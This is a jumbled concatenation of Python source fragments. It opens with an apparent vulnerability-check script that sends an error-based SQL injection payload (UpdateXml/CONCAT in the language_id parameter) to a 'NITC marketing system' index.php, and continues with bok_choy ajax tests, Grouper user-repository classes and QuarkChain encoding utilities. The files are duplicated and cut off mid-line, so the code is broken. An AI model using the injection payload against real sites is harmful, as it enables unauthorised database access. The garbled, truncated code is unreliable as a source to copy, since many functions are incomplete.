'''
name: NITC营销系统index.php SQL注入
referer: http://example.com
author: Lucifer
description: 文件/index.php中,参数language_id存在SQL注入。
'''
import sys
import requests

class nitc_index_language_id_sqli_BaseVerify:
    def __init__(self, url):
        self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/index.php?language_id=1%20Or%20UpDateXml(1,CoNcAt(0x5c,Md5(1234)),1)%23--&is_protect=1&action=test"
        vulnu

        try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
            if r"81dc9bdb52d04dc20036dbd8313ed05" in req.text:
                return "[+]存在NITC营销系统index.php SQL注入漏洞...(高危)\tpayload: "+vulnurl

        except:
            return "[-]connect timeout"

if __name__ == "__main__":

    testVuln = nitc_index_language_id_sqli_BaseVerify(sys.argv[1])
    testVuln.run()


try:
            req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
            if r"81dc9bdb52d04dc20036dbd8313ed05" in req.text:
                return "[+]存在NITC营销系统index.php SQL注入漏洞...(高危)\tpayload: "+vulnurl

        except:
            return "[-]connect timeout"

'''
name: NITC营销系统index.php SQL注入
referer: http://example.com
author: Lucifer
description: 文件/index.php中,参数language_id存在SQL注入。
'''
import sys
import requests

class nitc_index_language_id_sqli_BaseVerify:
    def __init__(self, url):
        self.url = url

    def run(self):
        headers = {
            "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/index.php?language_id=1%20Or%20UpDateXml(1,CoNcAt(0x5c,Md5(1234)),1)%23--&is_protect=1&action=test"
        vulnurl = self.url + payload

if __name__ == "__main__":

    testVuln = nitc_index_language_id_sqli_BaseVerify(sys.argv[1])
    testVuln.run()


"""
Test waiting for elements to appear after requesting via ajax.
"""

from bok_choy.promise import BrokenPromise
from bok_choy.web_app_test import WebAppTest
from .pages import AjaxPage, AjaxNoJQueryPage

class AjaxTest(WebAppTest):
    """
    Test waiting for an ajax call to return.
    """
    def setUp(self):
        super().setUp()
        self.ajax = AjaxPage(self.browser)
        self.ajax.visit()

    def test_ajax(self):
        """
        Test retrieving a value from the DOM that
        is populated by an ajax call.
        """
        self.ajax.click_button()
        self.ajax.wait_for_ajax()
        assert self.ajax.output == "Loaded via an ajax call."

    def test_ajax_too_slow(self):
        """
        Test that a BrokenPromise is raised when the ajax requests take longer
        than the timeout.
        """
        # Pretend there are ajax requests pending.
        self.ajax.browser.execute_script('jQuery.active=1')

        with self.assertRaises(BrokenPromise) as exc:
            self.ajax.wait_for_ajax(timeout=1)

        self.assertEqual(
            'Promise not satisfied: Finished waiting for ajax requests.',
            exc.exception.__str__())

class AjaxNoJQueryTest(WebAppTest):
    """
    Test waiting for a ajax on a page where jQuery isn't loaded.
    """

super().setUp()
        self.ajax = AjaxNoJQueryPage(self.browser)
        self.ajax.visit()

    def test_ajax_with_slow_jquery(self):
        """
        Test that a BrokenPromise is raised when jQuery is not defined on the
        page.
        """
        with self.assertRaises(BrokenPromise) as exc:
            self.ajax.wait_for_ajax(timeout=1)

        self.assertEqual(
            'Promise not satisfied: Finished waiting for ajax requests.',
            exc.exception.__str__())


super().setUp()
        self.ajax = AjaxPage(self.browser)
        self.ajax.visit()

"""
Test waiting for elements to appear after requesting via ajax.
"""

from bok_choy.promise import BrokenPromise
from bok_choy.web_app_test import WebAppTest
from .pages import AjaxPage, AjaxNoJQueryPage

class AjaxTest(WebAppTest):
    """
    Test waiting for an ajax call to return.
    """
    def setUp(self):

    def test_ajax(self):
        """
        Test retrieving a value from the DOM that
        is populated by an ajax call.
        """
        self.ajax.click_button()
        self.ajax.wait_for_ajax()
        assert self.ajax.output == "Loaded via an ajax call."

    def test_ajax_too_slow(self):
        """
        Test that a BrokenPromise is raised when the ajax requests take longer
        than the timeout.
        """
        # Pretend there are ajax requests pending.
        self.ajax.browser.execute_script('jQuery.active=1')

        with self.assertRaises(BrokenPromise) as exc:
            self.ajax.wait_for_ajax(timeout=1)

        self.assertEqual(
            'Promise not satisfied: Finished waiting for ajax requests.',
            exc.exception.__str__())

class AjaxNoJQueryTest(WebAppTest):
    """
    Test waiting for a ajax on a page where jQuery isn't loaded.
    """
    def setUp(self):
        super().setUp()
        self.ajax = AjaxNoJQueryPage(self.browser)
        self.ajax.visit()

    def test_ajax_with_slow_jquery(self):
        """
        Test that a BrokenPromise is raised when jQuery is not defined on the
        page.
        """
        with self.assertRaises(BrokenPromise) as exc:
            self.ajax.wait_for_ajax(timeout=1)

        self.assertEqual(
            'Promise not satisfied: Finished waiting for ajax requests.',
            exc.exception.__str__())


"""
Test waiting for elements to appear after requesting via ajax.
"""

from bok_choy.promise import BrokenPromise
from bok_choy.web_app_test import WebAppTest
from .pages import AjaxPage, AjaxNoJQueryPage

class AjaxTest(WebAppTest):
    """
    Test waiting for an ajax call to return.
    """
    def setUp(self):
        super().setUp()
        self.ajax = AjaxPage(self.browser)
        self.aj


"""
Test waiting for elements to appear after requesting via ajax.
"""

from bok_choy.promise import BrokenPromise
from bok_choy.web_app_test import WebAppTest
from .pages import AjaxPage, AjaxNoJQueryPage

class AjaxTest(WebAppTest):
    """
    Test waiting for an ajax call to return.
    """
    def setUp(self):
        super().setUp()
        self.ajax = AjaxPage(self.browser)
        self.ajax.visit()

    def test_ajax(self):
        """
        Test retrieving a value from the DOM that
        is populated by an ajax call.
        """
        self.ajax.click_button()
        self.ajax.wait_for_ajax()
        assert self.ajax.output == "Loaded via an ajax call."

    def test_ajax_too_slow(self):
        """
        Test that a BrokenPromise is raised when the ajax requests take longer
        than the timeout.
        """
        # Pretend there are ajax requests pending.
        self.ajax.browser.execute_script('jQuery.active=1')

        with self.assertRaises(BrokenPromise) as exc:
            self.ajax.wait_for_ajax(timeout=1)

        self.assertEqual(
            'Promise not satisfied: Finished waiting for ajax requests.',
            exc.exception.__str__())

class AjaxNoJQueryTest(WebAppTest):
    """
    Test waiting for a ajax on a page where jQuery isn't loaded.
    """
    def setUp(self):
        super().setUp()
        self.ajax = AjaxNoJQueryPage(self.browser)
        self.ajax.visit()

    def test_ajax_with_slow_jquery(self):
        """
        Test that a BrokenPromise is raised when jQuery is not defined on the
        page.
        """


from typing import TYPE_CHECKING

from grouper.entities.user import User, UserNotFoundException
from grouper.models.user import User as SQLUser
from grouper.repositories.interfaces import UserRepository

if TYPE_CHECKING:
    from grouper.graph import GroupGraph
    from grouper.models.base.session import Session
    from typing import Dict

class GraphUserRepository(UserRepository):
    """Graph-aware storage layer for users."""

    def __init__(self, graph, repository):
        self.graph = graph
        self.repository = repository

return self.graph.all_user_metadata()

    def disable_user(self, user):
        self.repository.disable_user(user)

    def user_exists(self, name):
        return self.repository.user_exists(name)

    def user_is_enabled(self, name):
        """Return whether a user is enabled.

        TODO(rra): This checks the underlying data store, not the graph, even though this
        information is in the graph, because the convert_user_to_service_account usecase disables a
        user and then immediately checks whether the user is disabled, and we don't want to force a
        graph refresh in the middle of that usecase.  This indicates a deeper underlying problem
        where some usecases need to use SQL repositories rather than the graph, which we're
        deferring for future work when we significantly reorganize how Grouper uses the graph.
        """
        return self.repository.user_is_enabled(name)

class SQLUserRepository(UserRepository):
    """SQL storage layer for users."""

    def __init__(self, session):
        self.session = session

    def all_users(self):
        raise NotImplementedError()

    def disable_user(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        user.enabled = False

    def user_exists(self, name):
        return SQLUser.get(self.session, name=name) is not None

    def user_is_enabled(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        return user.enabled


user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        return user.enabled

from typing import TYPE_CHECKING

from grouper.entities.user import User, UserNotFoundException
from grouper.models.user import User as SQLUser
from grouper.repositories.interfaces import UserRepository

if TYPE_CHECKING:
    from grouper.graph import GroupGraph
    from grouper.models.base.session import Session
    from typing import Dict

class GraphUserRepository(UserRepository):
    """Graph-aware storage layer for users."""

    def __init__(self, graph, repository):
        self.graph = graph
        self.repository = repository

    def all_users(self):
        return self.graph.all_user_metadata()

    def disable_user(self, user):
        self.repository.disable_user(user)

    def user_exists(self, name):
        return self.repository.user_exists(name)

    def user_is_enabled(self, name):
        """Return whether a user is enabled.

        TODO(rra): This checks the underlying data store, not the graph, even though this
        information is in the graph, because the convert_user_to_service_account usecase disables a
        user and then immediately checks whether the user is disabled, and we don't want to force a
        graph refresh in the middle of that usecase.  This indicates a deeper underlying problem
        where some usecases need to use SQL repositories rather than the graph, which we're
        deferring for future work when we significantly reorganize how Grouper uses the graph.
        """
        return self.repository.user_is_enabled(name)

class SQLUserRepository(UserRepository):
    """SQL storage layer for users."""

    def __init__(self, session):
        self.session = session

    def all_users(self):
        raise NotImplementedError()

    def disable_user(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        user.enabled = False

    def user_exists(self, name):
        return SQLUser.get(self.session, name=name) is not None

    def user_is_enabled(self, name):


from typing import TYPE_CHECKING

from grouper.entities.user import User, UserNotFoundException
from grouper.models.user import User as SQLUser
from grouper.repositories.interfaces import UserRepository

if TYPE_CHECKING:
    from grouper.graph import GroupGraph
    from grouper.models.base.session import Session
    from typing import Dict

class GraphUserRepository(UserRepository):
    """Graph-aware storage layer for users."""

    def __init__(self, graph, repository):
        self.graph = graph
        self.repository = repository

    def all_users(self):
        return self.graph.all_user_metadata()

    def disable_user(self, user):
        self.repository.disable_user(user)

    def user_exists(self, name):
        return s

    def user_is_enabled(self, name):
        """Return whether a user is enabled.

        TODO(rra): This checks the underlying data store, not the graph, even though this
        information is in the graph, because the convert_user_to_service_account usecase disables a
        user and then immediately checks whether the user is disabled, and we don't want to force a
        graph refresh in the middle of that usecase.  This indicates a deeper underlying problem
        where some usecases need to use SQL repositories rather than the graph, which we're
        deferring for future work when we significantly reorganize how Grouper uses the graph.
        """
        return self.repository.user_is_enabled(name)

class SQLUserRepository(UserRepository):
    """SQL storage layer for users."""

    def __init__(self, session):
        self.session = session

    def all_users(self):
        raise NotImplementedError()

    def disable_user(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        user.enabled = False

    def user_exists(self, name):
        return SQLUser.get(self.session, name=name) is not None

    def user_is_enabled(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        return user.enabled


from typing import TYPE_CHECKING

from grouper.entities.user import User, UserNotFoundException
from grouper.models.user import User as SQLUser
from grouper.repositories.interfaces import UserRepository

if TYPE_CHECKING:
    from grouper.graph import GroupGraph
    from grouper.models.base.session import Session
    from typing import Dict

class GraphUserRepository(UserRepository):
    """Graph-aware storage layer for users."""

    def __init__(self, graph, repository):
        self.graph = graph
        self.repository = repository

    def all_users(self):
        return self.graph.all_user_metadata()

    def disable_user(self, user):
        self.repository.disable_user(user)

    def user_exists(self, name):
        return self.repository.user_exists(name)

    def user_is_enabled(self, name):
        """Return whether a user is enabled.

        TODO(rra): This checks the underlying data store, not the graph, even though this
        information is in the graph, because the convert_user_to_service_account usecase disables a
        user and then immediately checks whether the user is disabled, and we don't want to force a
        graph refresh in the middle of that usecase.  This indicates a deeper underlying problem
        where some usecases need to use SQL repositories rather than the graph, which we're
        deferring for future work when we significantly reorganize how Grouper uses the graph.
        """

class SQLUserRepository(UserRepository):
    """SQL storage layer for users."""

    def __init__(self, session):
        self.session = session

    def all_users(self):
        raise NotImplementedError()

    def disable_user(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        user.enabled = False

    def user_exists(self, name):
        return SQLUser.get(self.session, name=name) is not None

    def user_is_enabled(self, name):
        user = SQLUser.get(self.session, name=name)
        if not user:
            raise UserNotFoundException(name)
        return user.enabled


from py_ecc.secp256k1 import privtopub, ecdsa_raw_sign, ecdsa_raw_recover
import sys
import rlp
from rlp.sedes import big_endian_int, BigEndianInt, Binary
from quarkchain.rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
import random
from quarkchain.utils import sha3_256 as sha3
from typing import Dict

try:
    import coincurve
except ImportError:
    import warnings

    warnings.warn("could not import coincurve", ImportWarning)
    coincurve = None

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}

    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

def big_endian_to_int(x):
    return big_endian_int.deserialize(str_to_bytes(x).lstrip(b"\x00"))

def int_to_big_endian(x):
    return big_endian_int.serialize(x)

TT256 = 2 ** 256
TT256M1 = 2 ** 256 - 1
TT255 = 2 ** 255
UINT128_MAX = 2 ** 128 - 1
SECP256K1P = 2 ** 256 - 4294968273

def is_numeric(x):
    return isinstance(x, int)

def is_string(x):
    return isinstance(x, bytes)

def to_string(value):
    if isinstance(value, bytes):
        return value
    if isinstance(value, str):
        return bytes(value, "utf-8")
    if isinstance(value, int):
        return bytes(str(value), "utf-8")

def int_to_bytes(value):
    if isinstance(value, bytes):
        return value
    return int_to_big_endian(value)

def to_string_for_regexp(value):
    return str(to_string(value), "utf-8")

def bytearray_to_bytestr(value):
    return bytes(value)

def encode_int32(v):
    return v.to_bytes(32, byteorder="big")

def bytes_to_int(value):
    return int.from_bytes(value, byteorder="big")

def ecrecover_to_pub(rawhash, v, r, s):
    if coincurve and hasattr(coincurve, "PublicKey"):
        try:
            pk = coincurve.PublicKey.from_signature_and_message(
                zpad(bytearray_to_bytestr(int_to_32bytearray(r)), 32)
                + zpad(bytearray_to_bytestr(int_to_32bytearray(s)), 32)
                + ascii_chr(v - 27),
                rawhash,
                hasher=None,
            )
            pub = pk.format(compressed=False)[1:]
        except BaseException:
            pub = b"\x00" * 64
    else:
        result = ecdsa_raw_recover(rawhash, (v, r, s))
        if result:
            x, y = result
            pub = encode_int32(x) + encode_int32(y)
        else:
            raise ValueError("Invalid VRS")
    assert len(pub) == 64
    return pub

def ecsign(rawhash, key):
    if coincurve and hasattr(coincurve, "PrivateKey"):
        pk = coincurve.PrivateKey(key)
        signature = pk.sign_recoverable(rawhash, hasher=None)
        v = safe_ord(signature[64]) + 27
        r = big_endian_to_int(signature[0:32])
        s = big_endian_to_int(signature[32:64])
    else:
        v, r, s = ecdsa_raw_sign(rawhash, key)
    return v, r, s

def safe_ord(value):
    if isinstance(value, int):
        return value
    else:
        return ord(value)

# decorator

def debug(label):
    def deb(f):
        def inner(*args, **kwargs):
            i = random.randrange(1000000)
            print(label, i, "start", args)
            x = f(*args, **kwargs)
            print(label, i, "end", x)
            return x

        return inner

    return deb

def flatten(li):
    o = []
    for l in li:
        o.extend(l)
    return o

def bytearray_to_int(arr):
    o = 0
    for a in arr:
        o = (o << 8) + a
    return o

def int_to_32bytearray(i):
    o = [0] * 32
    for x in range(32):
        o[31 - x] = i & 0xFF
        i >>= 8
    return o

assert (
    encode_hex(sha3(b""))
    == "c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
)

@Memoize
def privtoaddr(k):
    k = normalize_key(k)
    x, y = privtopub(k)
    return sha3(encode_int32(x) + encode_int32(y))[12:]

def checksum_encode(addr):  # Takes a 20-byte binary address as input
    addr = normalize_address(addr)
    o = ""
    v = big_endian_to_int(sha3(addr))
    for i, c in enumerate(encode_hex(addr)):
        if c in "0123456789":
            o += c
        else:
            o += c.upper() if (v & (2 ** (255 - 4 * i))) else c.lower()
    return "0x" + o

def check_checksum(addr):
    return checksum_encode(normalize_address(addr)) == addr

def normalize_address(x, allow_blank=False):
    if is_numeric(x):
        return int_to_addr(x)
    if allow_blank and x in {"", b""}:
        return b""
    if len(x) in (42, 50) and x[:2] in {"0x", b"0x"}:
        x = x[2:]
    if len(x) in (40, 48):
        x = decode_hex(x)
    if len(x) == 24:
        assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
        x = x[:20]
    if len(x) != 20:
        raise Exception("Invalid address format: %r" % x)
    return x

def normalize_key(key):
    if is_numeric(key):
        o = encode_int32(key)
    elif len(key) == 32:
        o = key
    elif len(key) == 64:
        o = decode_hex(key)
    elif len(key) == 66 and key[:2] == "0x":
        o = decode_hex(key[2:])
    else:
        raise Exception("Invalid key format: %r" % key)
    if o == b"\x00" * 32:
        raise Exception("Zero privkey invalid")
    return o

def zpad(x, l):
    """ Left zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\x00\x00\xca\xfe'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return b"\x00" * max(0, l - len(x)) + x

def rzpad(value, total_length):
    """ Right zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\xca\xfe\x00\x00'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return value + b"\x00" * max(0, total_length - len(value))

def int_to_addr(x):
    o = [b""] * 20
    for i in range(20):
        o[19 - i] = ascii_chr(x & 0xFF)
        x >>= 8
    return b"".join(o)

if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return decode_hex(x)
    else:
        return zpad(x, 20)[-20:]

def coerce_addr_to_hex(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return x
    else:
        return encode_hex(zpad(x, 20)[-20:])

def coerce_to_int(x):
    if is_numeric(x):
        return x
    elif len(x) == 40:
        return big_endian_to_int(decode_hex(x))
    else:
        return big_endian_to_int(x)

def coerce_to_bytes(x):
    if is_numeric(x):
        return big_endian_int.serialize(x)
    elif len(x) == 40:
        return decode_hex(x)
    else:
        return x

def parse_int_or_hex(s):
    if is_numeric(s):
        return s
    elif s[:2] in (b"0x", "0x"):
        s = to_string(s)
        tail = (b"0" if len(s) % 2 else b"") + s[2:]
        return big_endian_to_int(decode_hex(tail))
    else:
        return int(s)

def ceil32(x):
    return x if x % 32 == 0 else x + 32 - (x % 32)

def to_signed(i):
    return i if i < TT255 else i - TT256

def sha3rlp(x):
    return sha3(rlp.encode(x))

# Format encoders/decoders for bin, addr, int

def decode_bin(v):
    """decodes a bytearray from serialization"""
    if not is_string(v):
        raise Exception("Value must be binary, not RLP array")
    return v

def decode_addr(v):
    """decodes an address from serialization"""
    if len(v) not in [0, 20]:
        raise Exception("Serialized addresses must be empty or 20 bytes long!")
    return encode_hex(v)

def decode_int(v):
    """decodes and integer from serialization"""
    if len(v) > 0 and (v[0] == b"\x00" or v[0] == 0):
        raise Exception("No leading zero bytes allowed for integers")
    return big_endian_to_int(v)

def decode_int256(v):
    return big_endian_to_int(v)

def encode_bin(v):
    """encodes a bytearray into serialization"""
    return v

def encode_root(v):
    """encodes a trie root into serialization"""
    return v

def encode_int(v):
    """encodes an integer into serialization"""
    if not is_numeric(v) or v < 0 or v >= TT256:
        raise Exception("Integer invalid or out of range: %r" % v)
    return int_to_big_endian(v)

def encode_int256(v):
    return zpad(int_to_big_endian(v), 256)

def scan_bin(v):
    if v[:2] in ("0x", b"0x"):
        return decode_hex(v[2:])
    else:
        return decode_hex(v)

def scan_int(v):
    if v[:2] in ("0x", b"0x"):
        return big_endian_to_int(decode_hex(v[2:]))
    else:
        return int(v)

# Decoding from RLP serialization
decoders = {
    "bin": decode_bin,
    "addr": decode_addr,
    "int": decode_int,
    "int256b": decode_int256,
}

# Encoding to RLP serialization
encoders = {
    "bin": encode_bin,
    "int": encode_int,
    "trie_root": encode_root,
    "int256b": encode_int256,
}

# Encoding to printable format
printers = {
    "bin": lambda v: "0x" + encode_hex(v),
    "addr": lambda v: v,
    "int": lambda v: to_string(v),
    "trie_root": lambda v: encode_hex(v),
    "int256b": lambda x: encode_hex(zpad(encode_int256(x), 256)),
}

# Decoding from printable format
scanners = {
    "bin": scan_bin,
    "addr": lambda x: x[2:] if x[:2] in (b"0x", "0x") else x,
    "int": scan_int,
    "trie_root": lambda x: scan_bin,
    "int256b": lambda x: big_endian_to_int(decode_hex(x)),
}

def int_to_hex(x):
    o = encode_hex(encode_int(x))
    return "0x" + (o[1:] if (len(o) > 0 and o[0] == b"0") else o)

def remove_0x_head(s):
    return s[2:] if s[:2] in (b"0x", "0x") else s

def parse_as_bin(s):
    return decode_hex(s[2:] if s[:2] == "0x" else s)

def parse_as_int(s):
    return s if is_numeric(s) else int("0" + s[2:], 16) if s[:2] == "0x" else int(s)

def print_func_call(ignore_first_arg=False, max_call_number=100):
    """ utility function to facilitate debug, it will print input args before
    function call, and print return value after function call

    usage:

        @print_func_call
        def some_func_to_be_debu():
            pass

    :param ignore_first_arg: whether print the first arg or not.
    useful when ignore the `self` parameter of an object method call
    """
    from functools import wraps

    def display(x):
        x = to_string(x)
        try:
            x.decode("ascii")
        except BaseException:
            return "NON_PRINTABLE"
        return x

    local = {"call_number": 0}

    def inner(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            local["call_number"] += 1
            tmp_args = args[1:] if ignore_first_arg and len(args) else args
            this_call_number = local["call_number"]
            print(
                (
                    "{0}#{1} args: {2}, {3}".format(
                        f.__name__,
                        this_call_number,
                        ", ".join([display(x) for x in tmp_args]),
                        ", ".join(
                            display(key) + "=" + to_string(value)
                            for key, value in kwargs.items()
                        ),
                    )
                )
            )
            res = f(*args, **kwargs)
            print(
                (
                    "{0}#{1} return: {2}".format(
                        f.__name__, this_call_number, display(res)
                    )
                )
            )

            if local["call_number"] > 100:
                raise Exception("Touch max call number!")
            return res

        return wrapper

    return inner

def dump_state(trie):
    res = ""
    for k, v in list(trie.to_dict().items()):
        res += "%r:%r\n" % (encode_hex(k), encode_hex(v))
    return res

class Denoms:
    def __init__(self):
        self.wei = 1
        self.babbage = 10 ** 3
        self.ada = 10 ** 3
        self.kwei = 10 ** 6
        self.lovelace = 10 ** 6
        self.mwei = 10 ** 6
        self.shannon = 10 ** 9
        self.gwei = 10 ** 9
        self.szabo = 10 ** 12
        self.finney = 10 ** 15
        self.mether = 10 ** 15
        self.ether = 10 ** 18
        self.turing = 2 ** 256 - 1

denoms = Denoms()

address = Binary.fixed_length(20, allow_empty=True)
int20 = BigEndianInt(20)
int32 = BigEndianInt(32)
int256 = BigEndianInt(256)
hash32 = Binary.fixed_length(32)
trie_root = Binary.fixed_length(32, allow_empty=True)

def add_dict(d: Dict, other: Dict):
    for k, v in other.items():
        d[k] = d.get(k, 0) + v

class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKGREEN = "\033[92m"
    WARNING = "\033[91m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"

def DEBUG(msg, *args, **kwargs):
    from ethereum import slogging

    slogging.DEBUG(msg, *args, **kwargs)


if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return x
    else:
        return encode_hex(zpad(x, 20)[-20:])

from py_ecc.secp256k1 import privtopub, ecdsa_raw_sign, ecdsa_raw_recover
import sys
import rlp
from rlp.sedes import big_endian_int, BigEndianInt, Binary
from quarkchain.rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
import random
from quarkchain.utils import sha3_256 as sha3
from typing import Dict

try:
    import coincurve
except ImportError:
    import warnings

    warnings.warn("could not import coincurve", ImportWarning)
    coincurve = None

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}

    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

def big_endian_to_int(x):
    return big_endian_int.deserialize(str_to_bytes(x).lstrip(b"\x00"))

def int_to_big_endian(x):
    return big_endian_int.serialize(x)

TT256 = 2 ** 256
TT256M1 = 2 ** 256 - 1
TT255 = 2 ** 255
UINT128_MAX = 2 ** 128 - 1
SECP256K1P = 2 ** 256 - 4294968273

def is_numeric(x):
    return isinstance(x, int)

def is_string(x):
    return isinstance(x, bytes)

def to_string(value):
    if isinstance(value, bytes):
        return value
    if isinstance(value, str):
        return bytes(value, "utf-8")
    if isinstance(value, int):
        return bytes(str(value), "utf-8")

def int_to_bytes(value):
    if isinstance(value, bytes):
        return value
    return int_to_big_endian(value)

def to_string_for_regexp(value):
    return str(to_string(value), "utf-8")

def bytearray_to_bytestr(value):
    return bytes(value)

def encode_int32(v):
    return v.to_bytes(32, byteorder="big")

def bytes_to_int(value):
    return int.from_bytes(value, byteorder="big")

def ecrecover_to_pub(rawhash, v, r, s):
    if coincurve and hasattr(coincurve, "PublicKey"):
        try:
            pk = coincurve.PublicKey.from_signature_and_message(
                zpad(bytearray_to_bytestr(int_to_32bytearray(r)), 32)
                + zpad(bytearray_to_bytestr(int_to_32bytearray(s)), 32)
                + ascii_chr(v - 27),
                rawhash,
                hasher=None,
            )
            pub = pk.format(compressed=False)[1:]
        except BaseException:
            pub = b"\x00" * 64
    else:
        result = ecdsa_raw_recover(rawhash, (v, r, s))
        if result:
            x, y = result
            pub = encode_int32(x) + encode_int32(y)
        else:
            raise ValueError("Invalid VRS")
    assert len(pub) == 64
    return pub

def ecsign(rawhash, key):
    if coincurve and hasattr(coincurve, "PrivateKey"):
        pk = coincurve.PrivateKey(key)
        signature = pk.sign_recoverable(rawhash, hasher=None)
        v = safe_ord(signature[64]) + 27
        r = big_endian_to_int(signature[0:32])
        s = big_endian_to_int(signature[32:64])
    else:
        v, r, s = ecdsa_raw_sign(rawhash, key)
    return v, r, s

def safe_ord(value):
    if isinstance(value, int):
        return value
    else:
        return ord(value)

# decorator

def debug(label):
    def deb(f):
        def inner(*args, **kwargs):
            i = random.randrange(1000000)
            print(label, i, "start", args)
            x = f(*args, **kwargs)
            print(label, i, "end", x)
            return x

        return inner

    return deb

def flatten(li):
    o = []
    for l in li:
        o.extend(l)
    return o

def bytearray_to_int(arr):
    o = 0
    for a in arr:
        o = (o << 8) + a
    return o

def int_to_32bytearray(i):
    o = [0] * 32
    for x in range(32):
        o[31 - x] = i & 0xFF
        i >>= 8
    return o

assert (
    encode_hex(sha3(b""))
    == "c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
)

@Memoize
def privtoaddr(k):
    k = normalize_key(k)
    x, y = privtopub(k)
    return sha3(encode_int32(x) + encode_int32(y))[12:]

def checksum_encode(addr):  # Takes a 20-byte binary address as input
    addr = normalize_address(addr)
    o = ""
    v = big_endian_to_int(sha3(addr))
    for i, c in enumerate(encode_hex(addr)):
        if c in "0123456789":
            o += c
        else:
            o += c.upper() if (v & (2 ** (255 - 4 * i))) else c.lower()
    return "0x" + o

def check_checksum(addr):
    return checksum_encode(normalize_address(addr)) == addr

def normalize_address(x, allow_blank=False):
    if is_numeric(x):
        return int_to_addr(x)
    if allow_blank and x in {"", b""}:
        return b""
    if len(x) in (42, 50) and x[:2] in {"0x", b"0x"}:
        x = x[2:]
    if len(x) in (40, 48):
        x = decode_hex(x)
    if len(x) == 24:
        assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
        x = x[:20]
    if len(x) != 20:
        raise Exception("Invalid address format: %r" % x)
    return x

def normalize_key(key):
    if is_numeric(key):
        o = encode_int32(key)
    elif len(key) == 32:
        o = key
    elif len(key) == 64:
        o = decode_hex(key)
    elif len(key) == 66 and key[:2] == "0x":
        o = decode_hex(key[2:])
    else:
        raise Exception("Invalid key format: %r" % key)
    if o == b"\x00" * 32:
        raise Exception("Zero privkey invalid")
    return o

def zpad(x, l):
    """ Left zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\x00\x00\xca\xfe'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return b"\x00" * max(0, l - len(x)) + x

def rzpad(value, total_length):
    """ Right zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\xca\xfe\x00\x00'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return value + b"\x00" * max(0, total_length - len(value))

def int_to_addr(x):
    o = [b""] * 20
    for i in range(20):
        o[19 - i] = ascii_chr(x & 0xFF)
        x >>= 8
    return b"".join(o)

def coerce_addr_to_bin(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return decode_hex(x)
    else:
        return zpad(x, 20)[-20:]

def coerce_addr_to_hex(x):

def coerce_to_int(x):
    if is_numeric(x):
        return x
    elif len(x) == 40:
        return big_endian_to_int(decode_hex(x))
    else:
        return big_endian_to_int(x)

def coerce_to_bytes(x):
    if is_numeric(x):
        return big_endian_int.serialize(x)
    elif len(x) == 40:
        return decode_hex(x)
    else:
        return x

def parse_int_or_hex(s):
    if is_numeric(s):
        return s
    elif s[:2] in (b"0x", "0x"):
        s = to_string(s)
        tail = (b"0" if len(s) % 2 else b"") + s[2:]
        return big_endian_to_int(decode_hex(tail))
    else:
        return int(s)

def ceil32(x):
    return x if x % 32 == 0 else x + 32 - (x % 32)

def to_signed(i):
    return i if i < TT255 else i - TT256

def sha3rlp(x):
    return sha3(rlp.encode(x))

# Format encoders/decoders for bin, addr, int

def decode_bin(v):
    """decodes a bytearray from serialization"""
    if not is_string(v):
        raise Exception("Value must be binary, not RLP array")
    return v

def decode_addr(v):
    """decodes an address from serialization"""
